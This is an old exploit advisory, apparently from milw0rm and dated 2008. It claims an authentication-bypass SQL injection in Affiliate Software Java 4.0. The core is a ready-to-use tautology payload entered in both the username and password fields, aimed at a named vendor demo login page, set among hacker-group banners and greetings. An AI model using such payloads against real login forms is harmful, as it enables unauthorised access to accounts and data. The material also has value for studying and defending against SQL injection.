Affiliate Software Java 4.0 (Auth Bypass) SQL Injection Vulnerability

[☢] ☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢{بسم الله الرحمن الرحيم}☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢ [~] Tybe:(Auth Bypass) Remote SQL Injection Vulnerability [~] Vendor: www.adserversolutions.com [☠] Software: Affiliate Software Java 4.0 [☠] author: ((я3d D3v!L)) [☠] Date: 12.12.2008 [☠] Home: www.ahacker.biz [☠] contact: N/A [☠] ☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠{DEV!L'5 of SYST3M}☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠☠ [☠] Exploit: ☠ username: r0' or ' 1=1-- ☠ password: r0' or ' 1=1-- [☠]login 4 d3m0: http://www.adserversolutions.com/affiliate_java/logon.jsp [~]-----------------------------{str0ke}--------------------------------------------------- [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & /\/\4/\/0/\/ [~] [~] spechial thanks : dolly & 7am3m & EL z0hery & BLACK R053 &{str0ke} [~] [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller [~] [~] xp10.biz & ahacker.biz [~] [~]-------------------------------------------------------------------------------- # milw0rm.com [2008-12-11]